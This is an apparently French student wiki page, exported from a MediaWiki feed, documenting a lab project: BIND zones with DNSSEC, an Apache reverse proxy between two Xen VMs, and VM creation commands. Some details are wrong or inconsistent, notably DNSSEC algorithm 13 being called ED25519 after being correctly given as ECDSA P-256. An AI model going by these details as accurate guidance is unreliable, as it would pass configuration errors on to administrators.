📄 Fichier : &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier contient la déclaration des zones DNS locales pour le serveur BIND.&lt;br /&gt;
&lt;br /&gt;
On y définit ici :&lt;br /&gt;
&lt;br /&gt;
-Une zone primaires (gérées en local)&lt;br /&gt;
&lt;br /&gt;
-Une zone secondaire (copiée depuis un autre serveur)&lt;br /&gt;
&lt;br /&gt;
Et une politique DNSSEC.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;muspellheim2.online&amp;quot; {&lt;br /&gt;
&lt;br /&gt;
 type primary;&lt;br /&gt;
 file &amp;quot;/etc/bind/zones/muspellheim2.online/muspellheim2.zone&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
allow-transfer{2001:660:4401:60a0:216:3eff:fee7:c51b;&lt;br /&gt;
&lt;br /&gt;
              2001:660:4401:60a0:216:3eff:fed0:9ab0;};  // filtrage des secondaires&lt;br /&gt;
&lt;br /&gt;
also-notify{2001:660:4401:60a0:216:3eff:fee7:c51b;}; // pour les secondaires vicieux notify yes; // notification des secondaires &lt;br /&gt;
key-directory &amp;quot;/etc/bind/keys&amp;quot;; &lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot;; &lt;br /&gt;
inline-signing yes; };&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;jotunheim2.tech&amp;quot;{&lt;br /&gt;
&lt;br /&gt;
       type slave;&lt;br /&gt;
       file &amp;quot;/etc/bind/jotunheim2.tech&amp;quot;;&lt;br /&gt;
       primaries{2001:660:4401:60a0:216:3eff:fed0:9ab0;};&lt;br /&gt;
&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
&lt;br /&gt;
 keys {&lt;br /&gt;
   ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
 };&lt;br /&gt;
 nsec3param;&lt;br /&gt;
&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 '''type primary''' : Ce serveur est '''l'autorité principale''' pour la zone.&lt;br /&gt;
&lt;br /&gt;
🔹 '''file''' : Chemin du fichier de zone contenant tous les enregistrements DNS (&amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;AAAA&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;NS&amp;lt;/code&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
🔹 '''allow-transfer''' : Liste des serveurs secondaires '''autorisés à faire un transfert de zone''' (AXFR). Cela sécurise l’accès aux données DNS.&lt;br /&gt;
&lt;br /&gt;
🔹 '''also-notify''' : Force l’envoi de notifications DNS vers certains secondaires, même s’ils ne sont pas configurés comme secondaires officiels.&lt;br /&gt;
&lt;br /&gt;
🔹 '''notify yes''' : Active les notifications automatiques des serveurs secondaires lorsqu’une mise à jour de la zone est faite.&lt;br /&gt;
&lt;br /&gt;
🔹 '''dnssec-policy &amp;quot;dnspol&amp;quot;''' : Active '''DNSSEC''' avec une politique personnalisée.&lt;br /&gt;
&lt;br /&gt;
🔹 '''inline-signing yes''' : Active la '''signature automatique''' de la zone par BIND.&lt;br /&gt;
&lt;br /&gt;
====== Zone secondaire : &amp;lt;code&amp;gt;jotunheim2.tech&amp;lt;/code&amp;gt; ======&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;jotunheim2.tech&amp;quot; {&lt;br /&gt;
  type slave;&lt;br /&gt;
  file &amp;quot;/etc/bind/jotunheim2.tech&amp;quot;;&lt;br /&gt;
  primaries { 2001:660:4401:60a0:216:3eff:fed0:9ab0; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 '''type slave''' : Ce serveur récupère les données de zone depuis un '''serveur primaire distant'''.&lt;br /&gt;
&lt;br /&gt;
🔹 '''primaries { ... }''' : Adresse du serveur maître à interroger pour obtenir la zone.&lt;br /&gt;
&lt;br /&gt;
🔹 '''file''' : Emplacement local où la zone est stockée après transfert.&lt;br /&gt;
&lt;br /&gt;
====== 🔐 Politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt; ======&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
  keys {&lt;br /&gt;
    ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
  };&lt;br /&gt;
  nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 '''ksk''' : Key Signing Key (clé qui signe les autres clés DNS).&lt;br /&gt;
&lt;br /&gt;
🔹 '''zsk''' : Zone Signing Key (clé qui signe les enregistrements DNS).&lt;br /&gt;
&lt;br /&gt;
🔹 '''algorithm 13''' : Il s’agit d’'''ECDSA P-256 with SHA-256''' (&amp;lt;nowiki&amp;gt;RFC 6605&amp;lt;/nowiki&amp;gt;), algorithme sécurisé et moderne.&lt;br /&gt;
&lt;br /&gt;
🔹 '''nsec3param''' : Indique que '''NSEC3''' est utilisé (permet de sécuriser les réponses &amp;quot;ce nom n'existe pas&amp;quot; sans divulguer d'autres noms).&lt;br /&gt;
&lt;br /&gt;
✅ Les deux clés sont générées dans le répertoire &amp;lt;code&amp;gt;key-directory&amp;lt;/code&amp;gt;, ont une durée de vie '''illimitée''', et utilisent '''l’algorithme 13''' (ED25519, rapide et sécurisé).&lt;br /&gt;
&lt;br /&gt;
✅ &amp;lt;code&amp;gt;nsec3param&amp;lt;/code&amp;gt; : active la protection contre l’énumération de noms (empêche de “scanner” une zone DNS facilement).&lt;br /&gt;
&lt;br /&gt;
Pour que '''DNSSEC fonctionne correctement''', il faut '''déclarer la clé KSK''' (Key Signing Key) chez votre '''registrar''', ici '''Gandi'''.&lt;br /&gt;
&lt;br /&gt;
Sur votre machine, les clés sont générées automatiquement dans le répertoire (key-directory dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local)&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/etc/bind/keys/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Par exemple, vous pouvez voir des fichiers comme ceux-ci :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
Kmuspellheim2.online.+013+03837.key&lt;br /&gt;
Kmuspellheim2.online.+013+03837.private&lt;br /&gt;
Kmuspellheim2.online.+013+03837.state&lt;br /&gt;
&lt;br /&gt;
Kmuspellheim2.online.+013+14053.key&lt;br /&gt;
Kmuspellheim2.online.+013+14053.private&lt;br /&gt;
Kmuspellheim2.online.+013+14053.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🗝️ Les fichiers importants :&lt;br /&gt;
&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.key&amp;lt;/code&amp;gt;''' contiennent la '''clé publique''' (celle que vous devez copier/coller sur Gandi).&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.private&amp;lt;/code&amp;gt;''' contiennent la '''clé privée''' (à '''ne jamais partager''' !).&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.state&amp;lt;/code&amp;gt;''' servent à BIND pour gérer l’état et la durée de validité des clés.&lt;br /&gt;
&lt;br /&gt;
Pour éviter tout problème avec la validation DNSSEC, pensez à mettre les deux fichiers .key dans l’interface de Gandi, dans la partie DNSSEC de votre domaine.&lt;br /&gt;
&lt;br /&gt;
💡 En faisant cela, vous reliez votre zone DNS signée à la chaîne de confiance globale d’Internet : tout le monde pourra alors vérifier que vos données DNS sont authentiques et non modifiées.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois la configuration DNSSEC en place, on peut tester si '''tout fonctionne correctement''' avec le site '''DNSViz'''.&lt;br /&gt;
&lt;br /&gt;
Ce site permet d’'''analyser les signatures DNSSEC''' et de vérifier si la '''chaîne de confiance''' est bien construite du début à la fin (depuis la racine DNS jusqu’à votre zone).&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:DNSviz Muspellheim2.online.png|gauche|1129x1129px|DNSviz Muspellheim2.online]]&lt;br /&gt;
|}&lt;br /&gt;
Le graphe montre '''la chaîne de confiance DNSSEC''' :&lt;br /&gt;
&lt;br /&gt;
* On part de la '''racine DNS''' (&amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), qui délègue au TLD &amp;lt;code&amp;gt;.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;.online&amp;lt;/code&amp;gt; contient une clé DS qui fait le lien avec '''ton domaine''' &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Ensuite, ton domaine possède ses propres clés (DNSKEY), qui signent toutes les infos de ta zone (A, NS, AAAA, etc.)&lt;br /&gt;
&lt;br /&gt;
✅ Tout est &amp;quot;Secure&amp;quot; sur le graphe → l'''a configuration DNSSEC est correcte et vérifiée''' !&lt;br /&gt;
== APACHE ==&lt;br /&gt;
=====&amp;lt;span style=&amp;quot;color:#bab9bd;font-weight: bold;&amp;quot;&amp;gt;&amp;lt;u&amp;gt; '''Configuration d’Apache sur GOW''' :&amp;lt;/u&amp;gt; &amp;lt;/span&amp;gt;=====&lt;br /&gt;
Apache va '''écouter les requêtes envoyées à muspellheim2.online''', puis les '''rediriger vers un autre serveur''' (ici Atreus), via son '''adresse IPv6'''.&lt;br /&gt;
&lt;br /&gt;
Cela permet d’accéder à un site web qui tourne sur Atreus '''même si celui-ci n’a pas d’IPv4 publique'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;root@GOW:~# cat /etc/apache2/sites-available/muspellheim2.online.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Partie HTTP (port 80)&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
&lt;br /&gt;
    ProxyPass / http://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
    ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Partie HTTPS (port 443)&lt;br /&gt;
&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
&lt;br /&gt;
    SSLProxyEngine on&lt;br /&gt;
    ProxyPreserveHost on&lt;br /&gt;
&lt;br /&gt;
    SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/private/muspellheim2.online.key&lt;br /&gt;
    SSLCertificateChainFile /etc/ssl/certs/KGandiPierre/GandiCert.pem&lt;br /&gt;
&lt;br /&gt;
    ProxyPass / https://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
   ProxyPassReverse / https://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
📄 '''Fichier concerné : /etc/apache2/sites-available/muspellheim2.online.conf'''&lt;br /&gt;
&lt;br /&gt;
Ce fichier configure un virtual host Apache2 pour le domaine muspellheim2.online, en mode proxy inverse (reverse proxy). Cela signifie que le serveur Apache2 reçoit les requêtes des utilisateurs et les redirige vers un autre serveur (Atreus), ici identifié par son adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Le fichier gère deux protocoles :&lt;br /&gt;
&lt;br /&gt;
- HTTP (port 80) — non sécurisé&lt;br /&gt;
&lt;br /&gt;
- HTTPS (port 443) — sécurisé avec SSL/TLS&lt;br /&gt;
&lt;br /&gt;
🔹 *VirtualHost :80 : Cela signifie que ce bloc s'applique à toutes les interfaces réseau, sur le port 80 (HTTP).&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName : Nom de domaine géré par ce virtual host. Apache redirigera les requêtes envoyées à muspellheim2.online.&lt;br /&gt;
&lt;br /&gt;
🔹 ProxyPass / ... : Toutes les requêtes reçues sur / sont transmises à l'adresse IPv6 mentionnée. C’est là que tourne le vrai service web.&lt;br /&gt;
&lt;br /&gt;
🔹 ProxyPassReverse : Permet de réécrire les en-têtes de redirection (comme les Location: envoyés par le serveur cible), pour que le client voit toujours muspellheim2.online au lieu de l’IP.&lt;br /&gt;
&lt;br /&gt;
Atreus n’a pas d’IPv4 publique, donc il n’est pas directement joignable depuis Internet.&lt;br /&gt;
&lt;br /&gt;
➜ GOW, qui a une IP publique, agit comme une porte d’entrée vers Atreus.&lt;br /&gt;
&lt;br /&gt;
➜ C’est lui qui reçoit les requêtes extérieures et les redirige en interne vers le bon serveur.&lt;br /&gt;
&lt;br /&gt;
On appelle ça un proxy inverse : le client ne sait pas que le site tourne ailleurs, tout passe par GOW.&lt;br /&gt;
&lt;br /&gt;
=====&amp;lt;span style=&amp;quot;color:#bab9bd;font-weight: bold;&amp;quot;&amp;gt;&amp;lt;u&amp;gt; '''Configuration d’Apache2 sur Atreus : le vrai serveur web – Site muspellheim2.online''' :&amp;lt;/u&amp;gt; &amp;lt;/span&amp;gt;=====&lt;br /&gt;
📄 Fichier : /etc/apache2/sites-available/000-muspellheim.conf&lt;br /&gt;
&lt;br /&gt;
Ce fichier configure le serveur Apache2 sur la machine Atreus, qui héberge le véritable contenu du site muspellheim2.online. Il gère aussi bien les connexions HTTP que HTTPS.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim2.online&lt;br /&gt;
    RedirectPermanent / https://muspellheim2.online/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 *VirtualHost :80 : Écoute sur le port HTTP.&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName / ServerAlias :&lt;br /&gt;
&lt;br /&gt;
ServerName : Nom principal du site.&lt;br /&gt;
&lt;br /&gt;
ServerAlias : Permet aussi de répondre à www.muspellheim2.online.&lt;br /&gt;
&lt;br /&gt;
🔹 RedirectPermanent / : Redirige tout le trafic HTTP vers HTTPS. &lt;br /&gt;
&lt;br /&gt;
💡 '''Pourquoi ?'''&lt;br /&gt;
&lt;br /&gt;
C’est une '''bonne pratique de sécurité''' : on force tous les visiteurs à utiliser une connexion chiffrée.&lt;br /&gt;
&lt;br /&gt;
Partie HTTPS – Serveur principal&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim.online&lt;br /&gt;
    ...&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  Port 443 : Pour les connexions HTTPS (chiffrées).&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName / ServerAlias : Idem que pour le port 80&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
SSLCertificateKeyFile /etc/ssl/certs/private/muspellheim2.online.key&lt;br /&gt;
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
🔹 Ces trois fichiers permettent au serveur d’offrir une connexion HTTPS sécurisée :&lt;br /&gt;
&lt;br /&gt;
- .crt : certificat public du site. &lt;br /&gt;
&lt;br /&gt;
- .key : clé privée (confidentielle). &lt;br /&gt;
&lt;br /&gt;
- ChainFile : certificat intermédiaire (chaîne de certification, fourni par Gandi ici).&lt;br /&gt;
&lt;br /&gt;
'''📝 Logs Apache'''&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 Gère la journalisation :&lt;br /&gt;
&lt;br /&gt;
- error.log : erreurs serveur.&lt;br /&gt;
&lt;br /&gt;
- access.log : toutes les requêtes reçues, avec IP, timestamp, etc.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Partie HTTP (port 80)&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim2.online&lt;br /&gt;
    RedirectPermanent / https://muspellheim2.online/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Partie HTTPS (port 443)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim.online&lt;br /&gt;
    # SSLProxyEngine on&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
    SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/certs/private/muspellheim2.online.key&lt;br /&gt;
    SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
    &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
        SSLOptions +StdEnvVars&lt;br /&gt;
    &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
    &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
        SSLOptions +StdEnvVars&lt;br /&gt;
    &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et comme '''Atreus est le vrai serveur''', et que '''GOW redirige tout vers lui''', ça permet à l’utilisateur de '''n’avoir aucune idée que deux serveurs travaillent ensemble derrière &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Schéma fonctionnel redirection vers Atreus.png|alt=Schéma fonctionnel redirection vers Atreus|345x345px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== ✅ Vérification finale : est-ce que le site est en ligne et accessible ? ==&lt;br /&gt;
Une fois que '''tout est configuré''' (serveur web, DNS, DNSSEC, reverse proxy, certificats...), il ne reste plus qu'à '''tester si le site fonctionne bien'''.&lt;br /&gt;
&lt;br /&gt;
=== 🧪 Méthode 1 : test en ligne de commande avec &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
curl -4 https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Sortie curl -4 muspellheim.png|alt=sortie curl -4 muspellheim|550x550px]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
curl -6 https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Sortie curl -6 muspellheim.png|alt=sortie curl -6 muspellheim|502x502px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== 🌍 Méthode 2 : test dans un navigateur ===&lt;br /&gt;
Vous pouvez aussi tout simplement ouvrir votre navigateur préféré et taper l’adresse :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Projet fini Muspellheim.png|alt=Projet fini Muspellheim|1076x1076px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;curl -4&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;curl -6&amp;lt;/code&amp;gt; permettent de '''vérifier si votre site répond en IPv4 et IPv6'''.&lt;br /&gt;
&lt;br /&gt;
* Si vous n’avez pas de retour ou que la connexion échoue, vérifiez :&lt;br /&gt;
** votre '''config Apache'''&lt;br /&gt;
** vos '''règles de pare-feu'''&lt;br /&gt;
** vos '''enregistrements DNS'''&lt;br /&gt;
** et que vos '''certificats sont bien en place'''&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2024/2025_E14&amp;diff=11272</id>
		<title>Atelier SysRes SE4 2024/2025 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2024/2025_E14&amp;diff=11272"/>
		<updated>2026-01-20T15:57:58Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* CRÉATION MACHINES VIRTUELLES */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Projet AARV LECOMTE et CASIMIRI'''&lt;br /&gt;
&lt;br /&gt;
== INTRODUCTION ==&lt;br /&gt;
Dans le cadre de ce projet de virtualisation, j’ai déployé une infrastructure composée de '''deux machines dédiées aux services''' et d’une '''machine mandataire''', le tout orchestré à l’aide de '''Xen'''.&lt;br /&gt;
&lt;br /&gt;
La machine '''Atreus''' joue un rôle central en assurant '''l’hébergement des services web''' et autres composants applicatifs. La machine '''GOW''' fait office de '''mandataire réseau''' : elle gère la '''connectivité vers l’extérieur''', que ce soit en '''IPv4 ou en IPv6''', et sert aussi de '''reverse proxy''' pour rediriger les requêtes vers les machines de service internes.&lt;br /&gt;
&lt;br /&gt;
La '''deuxième machine de service''' appartient à Monsieur '''Antoine LECOMPTE''' et porte le nom de '''Kratos'''. Elle complète l’architecture et participe à l’ensemble des services distribués au sein de l’infrastructure.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;big&amp;gt;'''✉️ Petit mot pour les prochaines promotions'''&amp;lt;/big&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Salut à vous les prochaines promos 👋&lt;br /&gt;
&lt;br /&gt;
Dans ce document, j’ai essayé de vous expliquer au mieux les différentes étapes que j’ai traversées pour monter ce projet. Je me suis appuyé sur ce que j’ai compris moi-même au fil des TP, les cours des profs (qu’il faut vraiment relire, ils sont précieux), des ressources trouvées sur Internet, et je ne vais pas vous mentir… parfois un petit coup de main de certains LLM comme ChatGPT 👀 m’a bien aidé quand je bloquais.&lt;br /&gt;
&lt;br /&gt;
Ce n’est pas un tutoriel parfait, mais plutôt un guide pour vous accompagner avec des explications techniques assez simples à comprendre (que je pense avoir compris surtout), même si vous n’avez encore jamais touché au réseau, à l’infra ou à un serveur web. L’objectif, c’est que vous puissiez prendre confiance, comprendre les bases, et réussir à faire tourner votre projet sans paniquer.&lt;br /&gt;
&lt;br /&gt;
Je vous souhaite vraiment bon courage pour ce projet. C’est l’un des meilleurs moyens d’apprendre concrètement et de progresser à fond. N’hésitez pas à poser des questions à vos profs, ils sont là pour vous aider. Prenez le temps de relire vos cours tranquillement, et surtout, n’ayez pas peur de tester, de faire des erreurs, de casser et de recommencer (certains profs demande à ce qu'on casse les machines pour montrer qu'on cherche) : c’est comme ça qu’on apprend.&lt;br /&gt;
&lt;br /&gt;
Si vous avez l'occasion de les consulter, je vous conseille vivement d'aller regarder les wikis de Madame EL BACHIRI, Monsieur TOURON et Monsieur DETREZ. Ils ont certaines informations en plus que moi sur tout ce qui va être configurations CISCO, OSPF et tout ce qui touche au physique (câbles, commutateurs).&lt;br /&gt;
&lt;br /&gt;
En espérant que vous allez plus loin que nous sur ce projet ![[Fichier:Df -h.png|vignette]]&lt;br /&gt;
&lt;br /&gt;
== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous devons configurer nos MV de services. Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Atreus --dhcp --bridge=bifrost --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Kratos --dhcp --bridge=bifrost --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Atreus&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi créer des volumes logiques dédiés à des /var et /home pour chacune de nos VM.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, les commandes sont :&lt;br /&gt;
&lt;br /&gt;
lvcreate -L10G -nSE4.[NomdeVM].home virtual&lt;br /&gt;
&lt;br /&gt;
lvcreate -L10G -nSE4.[NomdeVM].var virtual&lt;br /&gt;
&lt;br /&gt;
celà va créer des volumes logiques dédiés aux paths /var et /home pour vos VM dans un dossier /dev/virtual.&lt;br /&gt;
&lt;br /&gt;
à AUCUN moment vous devez écrire une ligne commençant par mkfs sur capbreton, vous risquez de tuer capbreton si vous le faites.&lt;br /&gt;
&lt;br /&gt;
